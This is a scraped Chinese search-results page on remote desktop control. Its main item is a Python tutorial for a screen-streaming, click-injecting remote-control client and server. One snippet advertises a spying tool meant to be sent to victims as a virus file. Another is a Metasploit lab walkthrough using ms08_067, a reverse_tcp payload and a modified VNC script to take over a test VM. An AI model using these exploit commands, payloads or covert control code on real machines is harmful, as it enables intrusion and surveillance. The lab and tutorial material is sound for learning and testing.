精华内容
下载资源
问答
  • HP服务器ILO远程控制桌面小工具 ,打开即用,输入IP地址,账号密码即可远程连接、贼方便! HP服务器ILO远程控制桌面小工具 ,打开即用,输入IP地址,账号密码即可远程连接、贼方便!
  • 远程控制桌面工具

    2017-12-26 21:41:42
    远程控制桌面工具:主要功能 (1)键盘监控 (2)视频监控 (3)语音监控 (4)屏幕监控 (5)鼠标监控 (6)文件管理 使用步骤: 打开软件点击进入准备拉客界面生成病毒文件,利用各种方式发给对方电脑,对方一打开病毒...
  • 远程控制桌面 c# Winform 和系统的远程桌面控制功能差不多
  • 使用Winform 界面编写的 远程桌面demo,便于大家参考学习。
  • 远程控制桌面源码

    2018-11-13 11:04:12
    远程控制桌面,vs2008运行成功。
  • Python手把手实现远程控制桌面

    千次阅读 2021-03-06 00:01:55
    作者 |李秋键责编 | 寇雪芹头图 | 下载于视觉中国引言:本项目旨在让大家理解远控软件的原理,通过远控桌面可以实现远程控制我们的电脑,更好更方便的管理电脑。文末将给出初始版的完整代码,...

    作者 | 李秋键

    责编 | 寇雪芹

    头图 | 下载于视觉中国

    引言:

    本项目旨在让大家理解远控软件的原理,通过远控桌面可以实现远程控制我们的电脑,更好更方便的管理电脑。文末将给出初始版的完整代码,需要使用到的其他工具也会有所说明。最终实现的效果就是只要用户点击了客户端的程序运行,我们就可以在服务端对其进行控制。效果如下:左边是客服端程序运行了,然后我们就可以在左边的另一台电脑上打开服务端程序进行控制,可以看到左边的屏幕图像也已经显示在了右边的电脑上。完整代码见文末!

    远控流程

    1.1 环境要求

    本次环境使用的是python3.6.5+windows平台

    主要用的库有:图像处理库opencv,包括用来目标检测和图像处理等操作。

    Socket用来远程传输数据达到远程控制的效果;

    Threading模块用来创建多线程管理;

    Numpy模块用来辅助opencv对图像进行一些像素值操作;

    PIL模块用来获取屏幕图像数据;

    pynput.mouse用来控制鼠标点击事件。达到远程控制鼠标的作用。

    1.2 客户端讲解

    客户端在这里指的是被控制的电脑,就是我们需要受到控制的电脑。

    (1)首先是导入相关模块:

    1#客户端代码
    2import socket
    3import threading
    4import cv2
    5import numpy as np
    6from PIL import ImageGrab
    7from pynput.mouse import Button,Controller
    

    (2)接着创建一个鼠标控制器和用来接收服务端数据的函数。因为需要一直都接收数据,故需要嵌入循环。在这里客户端还需要接收数据的原因是,用来接收服务端传来的鼠标控制信息,要不然怎么实现鼠标控制桌面的效果呢。

     1#接受服务器返回的数据的函数
     2m = Controller()
     3def recvlink(client):
     4    while True:
     5        msg=client.recv(1024)
     6        msg=msg.decode('utf-8')
     7        print(msg)
     8        key = msg.split(",")
     9        xp = int(key[0])
    10        yp = int(key[1])
    11        m.position = ((xp,yp))
    12        m.click(Button.left,1)
    
    

    (3)创建ipv4的socket对象,使用TCP协议(SOCK_STREAM)。然后设置服务端IP地址,以及端口。这里用来向服务端传输数据,即传输桌面图像数据。注释代码如下:

     1#创建ipv4的socket对象,使用TCP协议(SOCK_STREAM)
     2client=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
     3#设置服务器ip地址,注意应该是服务器的公网ip
     4host='服务器的公网ip'
     5#设置要发送到的服务器端口,需要在云服务器管理界面打开对应端口的防火墙
     6port=设置的端口
     7#建立TCP协议连接,这时候服务器就会监听到到连接请求,并开始等待接受client发送的数据
     8client.connect((host,port))
     9#建立连接后,服务器端会返回连接成功消息
    10start_msg=client.recv(1024)
    11print(start_msg.decode('utf-8'))
    12#开启一个线程用来接受服务器发来的消息
    13t=threading.Thread(target=recvlink,args=(client,))
    14t.start()
    15p = ImageGrab.grab()#获得当前屏幕
    16quality = 25  # 图像的质量
    17encode_param = [int(cv2.IMWRITE_JPEG_QUALITY), quality]
    18while True:
    19    im = ImageGrab.grab()
    20    imm=cv2.cvtColor(np.array(im), cv2.COLOR_RGB2BGR)#转为opencv的BGR格式
    21    imm = cv2.resize(imm, (1535, 863))
    22    img_encode = cv2.imencode(".jpg", imm, encode_param)[1]
    23    data_encode = np.array(img_encode)
    24    str_encode = data_encode.tostring()
    25    #print(len(str_encode))
    26    #输入要发送的信息
    27    sendmsg="kehu"
    28    #向服务器发送消息
    29    client.send(str_encode)
    30    if sendmsg=='quit':
    31        break
    32#结束时关闭客户端
    33client.close()
    
    

    1.3 服务端讲解

    服务端指的是用来控制远程电脑的那一端,为了方便使用,我们直接在服务器上使用即可。

    (1)导入使用到的模块:

    1#服务器端
    2import socket
    3import threading
    4import numpy as np
    5import cv2
    6import os
    
    

    (2)创建鼠标点击事件函数,用来获取鼠标点击的位置坐标:

    1print("等待连接---")
    2def mouse_click(event, x, y, flags, para):
    3    if event == cv2.EVENT_LBUTTONDOWN:  # 左边鼠标点击
    4        f=open("1.txt","w")
    5        f.write(str(x)+","+str(y))
    6        f.close()
    
    

    (3)创建服务器端接收数据函数,用来实时接收传输过来的图像数据并显示:

     1def recv_msg(clientsocket):
     2    while True:
     3        # 接受客户端消息,设置一次最多接受10240字节的数据
     4        recv_msg = clientsocket.recv(102400)
     5        # 把接收到的东西解码
     6        msg = np.fromstring(recv_msg, np.uint8)
     7        img_decode = cv2.imdecode(msg, cv2.IMREAD_COLOR)
     8        try:
     9            s=img_decode.shape
    10            img_decode=img_decode
    11            temp=img_decode
    12        except:
    13            img_decode=temp
    14            pass
    15        cv2.imshow('SERVER', img_decode)
    16        cv2.setMouseCallback("SERVER", mouse_click)
    17        try:
    18            f=open("1.txt")
    19            txt=f.read()
    20            f.close()
    21            reply=txt
    22            print(reply)
    23            clientsocket.send(reply.encode('utf-8'))
    24            os.remove("1.txt")
    25        except:
    26            pass
    27        if cv2.waitKey(1) & 0xFF == ord('q'):
    28            break
    
    

    (4)主函数,用来建立连接和数据接收等功能。

     1def main():
     2    socket_server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
     3    host='服务器的本地ip'
     4    #设置被监听的端口号,小于1024的端口号不能使用
     5    port=设置的端口
     6    socket_server.bind((host,port))
     7    #设置最大监听数,也就是最多可以同时响应几个客户端请求,一般配合多线程使用
     8    socket_server.listen(5)
     9    #等待客户端连接,一旦有了连接就立刻向下执行,否则等待
    10    #accept()函数会返回一个元组,第一个元素是客户端socket对象,第二个元素是客户端地址(ip地址+端口号)
    11    clientsocket,addr=socket_server.accept()
    12    # 有了客户端连接后之后才能执行以下代码,我们先向客户端发送连接成功消息
    13    clientsocket.send('连接成功'.encode('utf-8'))
    14    # 和客户端一样开启一个线程接受客户端的信息
    15    t=threading.Thread(target=recv_msg,args=(clientsocket,))
    16    t.start()
    
    

    远程控制GUI窗口

     

    远控桌面GUI主要是为了美观而用,需要大家根据远程代码进行集合修改。当然单独使用上述代码已经可以实现功能了,只是不够美观。由于考虑到此处代码量较大,且不是重点,故粗略讲解

    (1)导入相关库:

     1from PyQt5.QtWidgets import *
     2from PyQt5.QtCore import *
     3from PyQt5.QtGui import QPalette, QBrush, QPixmap
     4import os
     5import socket
     6import threading
     7import cv2
     8import numpy as np
     9from PIL import ImageGrab
    10from pynput.mouse import Button,Controller
    11import time
    
    

    (2)建立鼠标控制函数和点击函数

    1m = Controller()
    2def mouse_click(event, x, y, flags, para):
    3    if event == cv2.EVENT_LBUTTONDOWN:  # 左边鼠标点击
    4        print( x, y)
    5        m.position = (x, y)
    6        time.sleep(0.1)
    7        m.click(Button.left, 1)
    
    

    (3)GUI界面初始化,由于我们需要把实时的视频显示在窗口上,故也需要使用到opencv。

     1def __init__(self, parent=None):
     2    super(Ui_MainWindow, self).__init__(parent)
     3    # self.face_recong = face.Recognition()
     4    self.timer_camera = QtCore.QTimer()
     5    self.cap = cv2.VideoCapture()
     6    self.CAM_NUM = 0
     7    self.set_ui()
     8    self.slot_init()
     9    self.__flag_work = 0
    10    self.x = 0
    11    self.count = 0
    
    

    (4)设置窗口大小和控件位置等信息。创建布局和设置名称

     1def set_ui(self):
     2    self.__layout_main = QtWidgets.QHBoxLayout()
     3    self.__layout_fun_button = QtWidgets.QVBoxLayout()
     4    self.__layout_data_show = QtWidgets.QVBoxLayout()
     5    self.button_open_camera = QtWidgets.QPushButton(u'远程桌面')
     6    self.button_close = QtWidgets.QPushButton(u'退出')
     7    # Button 的颜色修改
     8    button_color = [self.button_open_camera, self.button_close]
     9    for i in range(2):
    10        button_color[i].setStyleSheet("QPushButton{color:black}"
    11                                      "QPushButton:hover{color:red}"
    12                                      "QPushButton{background-color:rgb(78,255,255)}"
    13                                      "QPushButton{border:2px}"
    14                                      "QPushButton{border-radius:10px}"
    15                                      "QPushButton{padding:2px 4px}")
    16    self.button_open_camera.setMinimumHeight(50)
    17    self.button_close.setMinimumHeight(50)
    18    # move()方法移动窗口在屏幕上的位置到x = 300,y = 300坐标。
    19    self.move(500, 500)
    20    # 信息显示
    21    self.label_show_camera = QtWidgets.QLabel()
    22    self.label_move = QtWidgets.QLabel()
    23    self.label_move.setFixedSize(100, 100)
    24    self.label_show_camera.setFixedSize(1530,863)
    25    self.label_show_camera.setAutoFillBackground(False)
    26    self.__layout_fun_button.addWidget(self.button_open_camera)
    27    self.__layout_fun_button.addWidget(self.button_close)
    28    self.__layout_fun_button.addWidget(self.label_move)
    29    self.__layout_main.addLayout(self.__layout_fun_button)
    30    self.__layout_main.addWidget(self.label_show_camera)
    31    self.setLayout(self.__layout_main)
    32    self.label_move.raise_()
    33    self.setWindowTitle(u'远控桌面GUI')
    34    '''
    35    # 设置背景图片
    36    palette1 = QPalette()
    37    palette1.setBrush(self.backgroundRole(), QBrush(QPixmap('background.jpg')))
    38    self.setPalette(palette1)
    39    '''
    
    

    (5)获取鼠标点击时的坐标:

     1def mousePressEvent(self,event):
     2    if event.buttons() & QtCore.Qt.LeftButton:
     3        x = event.x()-120
     4        y = event.y()-10
     5        text = "x: {0},y: {1}".format(x,y)
     6        if x>=0 and y>=0:
     7            m.position = (x, y)
     8            time.sleep(0.1)
     9            m.click(Button.left, 1)
    10        print(text)
    
    

    (6)按钮绑定所设置的函数:

    1def slot_init(self):
    2    self.button_open_camera.clicked.connect(self.button_open_camera_click)
    3    self.timer_camera.timeout.connect(self.show_camera)
    4    self.button_close.clicked.connect(self.close)
    
    

    (7)显示桌面功能函数,并设置点击时修改名称,可以随时关闭桌面

    1def button_open_camera_click(self):
    2    if self.timer_camera.isActive() == False:
    3        self.timer_camera.start(30)
    4        self.button_open_camera.setText(u'关闭')
    5    else:
    6        self.timer_camera.stop()
    7        self.cap.release()
    8        self.label_show_camera.clear()
    9        self.button_open_camera.setText(u'远程桌面')
    
    

    (8)显示桌面函数和退出程序函数

     1def show_camera(self):
     2    im = ImageGrab.grab()
     3    imm = cv2.cvtColor(np.array(im), cv2.COLOR_RGB2BGR)  # 转为opencv的BGR格式
     4    #imm = cv2.resize(imm, (1535, 863))
     5    self.image = imm
     6    # face = self.face_detect.align(self.image)
     7    # if face:
     8    #     pass
     9    show =cv2.resize(self.image, (1536,863))
    10    show = cv2.cvtColor(show, cv2.COLOR_BGR2RGB)
    11    print(show.shape[1], show.shape[0])
    12    # show.shape[1] = 640, show.shape[0] = 480
    13    showImage = QtGui.QImage(show.data, show.shape[1], show.shape[0], QtGui.QImage.Format_RGB888)
    14    self.label_show_camera.setPixmap(QtGui.QPixmap.fromImage(showImage))
    15    #cv2.setMouseCallback(showImage, mouse_click)
    16    # self.x += 1
    17    # self.label_move.move(self.x,100)
    18    # if self.x ==320:
    19    #     self.label_show_camera.raise_()
    20def closeEvent(self, event):
    21    ok = QtWidgets.QPushButton()
    22    cacel = QtWidgets.QPushButton()
    23    msg = QtWidgets.QMessageBox(QtWidgets.QMessageBox.Warning, u"关闭", u"是否关闭!")
    24    msg.addButton(ok, QtWidgets.QMessageBox.ActionRole)
    25    msg.addButton(cacel, QtWidgets.QMessageBox.RejectRole)
    26    ok.setText(u'确定')
    27    cacel.setText(u'取消')
    28    # msg.setDetailedText('sdfsdff')
    29    if msg.exec_() == QtWidgets.QMessageBox.RejectRole:
    30        event.ignore()
    31    else:
    32        #             self.socket_client.send_command(self.socket_client.current_user_command)
    33        if self.cap.isOpened():
    34            self.cap.release()
    35        if self.timer_camera.isActive():
    36            self.timer_camera.stop()
    37        event.accept()
    
    

    源码

    有问题的可以加我QQ 2860887362讨论。完整代码下载链接:https://pan.baidu.com/s/1r_ZAfWQG-xYGmYlZCDmWTQ

    提取码:lnp4

    作者简介:李秋键,CSDN博客专家,CSDN达人课作者。硕士在读于中国矿业大学,开发有taptap竞赛获奖等。

    点击这里 ???? 关注我们~~~

    更多精彩推荐
    
    ☞RedHat 年度报告:只索取不贡献的开源消费“大户”不受待见☞腾讯:这可是一只“骨骼清奇”的狗☞用数据分析《你好,李焕英》“斐妈”爆红的真相☞从猫狗不分到实时识别准确率超过99%,计算机图像识别是如何做到的?
    点分享点收藏点点赞点在看
    
    展开全文
  • 调用window COM组件AxMSTSCLib, 使用RDP进行远程控制桌面,可以嵌入到自己的winfrom程序里面,但是必须设置密码,学习学习
  • C# WinForm 远程控制桌面。可以设置发送的速度
  •   分别在Windows和Linux操作系统上安装Metasploit软件,并运行Metasploit完成针对Linux靶机usermap_script漏洞的渗透攻击,尝试使用植入VNC图形化远程控制工具的攻击载荷,成功获得Linux靶机上的远程控制桌面。...

    问题描述

      分别在Windows和Linux操作系统上安装Metasploit软件,并运行Metasploit完成针对Linux靶机usermap_script漏洞的渗透攻击,尝试使用植入VNC图形化远程控制工具的攻击载荷,成功获得Linux靶机上的远程控制桌面。
      由于笔者没有配置Linux虚拟机,因此使用Windows XP SP3中文版作为靶机,并使用ms08_067作为渗透模块进行渗透。

    解决办法

    在msfconsole中使用命令:

    use exploit/windows/smb/ms08_067_netapi
    set PAYLOAD windows/meterpreter/reverse_tcp
    set RHOST 192.168.161.130
    set LHOST 192.168.161.128
    set TARGET 34
    exploit
    

    得到会话后使用命令run vnc获得靶机桌面。结果如下:
    在这里插入图片描述
    在这里插入图片描述

    如何控制

      由于使用已经封装好的vnc只能进行靶机桌面的监控,并不能完成对靶机桌面的控制,因此想要完成对靶机的控制,需要对vnc.rb文件进行修改。
      在目录/usr/share/metasploit-framework/scripts/meterpreter/下找到vnc.rb文件,如下:

    在该文件中找到pay的声明位置,在其后添加pay.datastore['ViewOnly'] = false后即可对远程桌面进行控制。

    一些关于远程桌面的命令

    enumdesktops   #查看可用的桌面
    getdesktop   #获取当前 meterpreter 关联的桌面
    set_desktop   #设置 meterpreter 关联的桌面 h 查看帮助
    screenshot   #截屏
    use espia   #或者使用 espia 模块截屏 然后输入 screengrab
    run vnc   #使用使用vnc远程桌面连接

    参考资料

    Meterpreter run vnc 遇到的问题
    metasploit 目录结构

    展开全文
  • C#远程控制桌面源码

    2013-03-04 13:23:31
    C#远程控制桌面源码
  • qt远程桌面控制

    2019-01-07 15:19:51
    qt远控桌面源码,亲测可用。bin目录下有生成好的可执行程序
  • 远程控制桌面

    2012-07-18 15:27:28
    远程 控制桌面,挺好用的,大家都用!我们也在正常使用
  • c# 远程控制 桌面 远程协助 c# 远程控制 桌面 远程协助
  • Delphi编写实现的远程控制程序,若客户端与服务器端端口一致的话,很容易连接上远程桌面,通过远程桌面可控制远程计算机隐藏桌面、关闭系统、重启系统、注销系统等功能,窗体的实现为各种控制操作提供便利条件。...
  • C#语言基于RDP协议编写的远程桌面控制程序,编译可运行。
  • 这个程序是本人写的一个远程的一台机器,可以看到另一台机的桌面,并且可以通过鼠标控制远程桌面
  • Enkodi-用于Kodi的台式遥控器 免责声明 这是一个在制品项目。 它可以日常使用,但是当前开发中缺少一些功能。 跑步 您可以同时使用yarn和npm来安装依赖项或运行项目。...控制器 播放器视图 电视节目库
  • 主要介绍了python如何实现远程控制电脑,利用python设计了一个程序来实现自由管控,感兴趣的小伙伴们可以参考一下
  • 1.采用高性能内网传输协议,远程控制能力强大,高效实用,远程零延迟。 2.可对局域网内所有机器 一键实时桌监控、桌面查看、桌面控制、一键重启、关机等功能 3.可对局域网内所有机器 一键下发文件 以及分发文本行等...
  • 微软自带远程控制桌面软件

    千次阅读 2019-06-20 15:20:23
    1、打开开始键----所有程序-----维护-----Windows 远程协助 2、点击打开---发送需要操作你桌面的人邮件 3、选择邀请信任的人帮助您 4、将密码复制到邮件的正文,且将需要帮助你的人邮件地址写上,发送。 ...

    1、打开开始键----所有程序-----维护-----Windows 远程协助

    2、点击打开---发送需要操作你桌面的人邮件

     

    3、选择邀请信任的人帮助您

    4、将密码复制到邮件的正文,且将需要帮助你的人邮件地址写上,发送。

     

    5、收件人收到邮件双击且将密码复制进去,发件人点确认即可

     

     

     

    展开全文
  • C#实现远程桌面(源码)

    2019-02-18 09:32:30
    1.调用和保存远程连接的RDP文件。 2.调用Windows操作系统API函数。 3.完全具备Windows远程桌面连接的功能。 4.在线向主机发送命令。
  • 远程桌面开源代码

    2018-03-01 02:18:46
    远程桌面开源代码, 远程桌面开源代码, 远程桌面开源代码,重要的事情说三遍,完整project
  • 类似windows的远程桌面的功能,其中包含服务器端、客户端源代码,采用多线程网络通讯方式。客户端可以对远程桌面电脑控制,包括对远程屏幕画面观看及控制
  • 以前的网上看到的一个用C#开发的可以进行远程桌面监控的程序,也可以实现远程屏幕控制,含受控端、监控端、远程监控端和代理类。
  • VC++实现的远程桌面

    2018-12-18 22:49:29
    自己用VC++写的远程桌面,通过截图和双缓冲完成,分服务端和客户端两部分。
  • 用Qt实现的Windows平台远程控制软件,包含源代码和编译后可以运行的程序,服务器端(被控端)为进程形式,客户端(主控端)为图形界面程序。客户端在连接时要设置服务器端的ip地址以及要显示的长度和宽度(不能超过...
  • Delphi实现远程控制桌面显示 关机 重启 注销 的一款小程序 附有源代码 有需要的可以看看
  • C#实现远程桌面同步和远程控制功能,分为服务器端和客户端两个部分,利用Socket通讯原理实现的多机之间的交互

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 83,712
精华内容 33,484
关键字:

远程控制桌面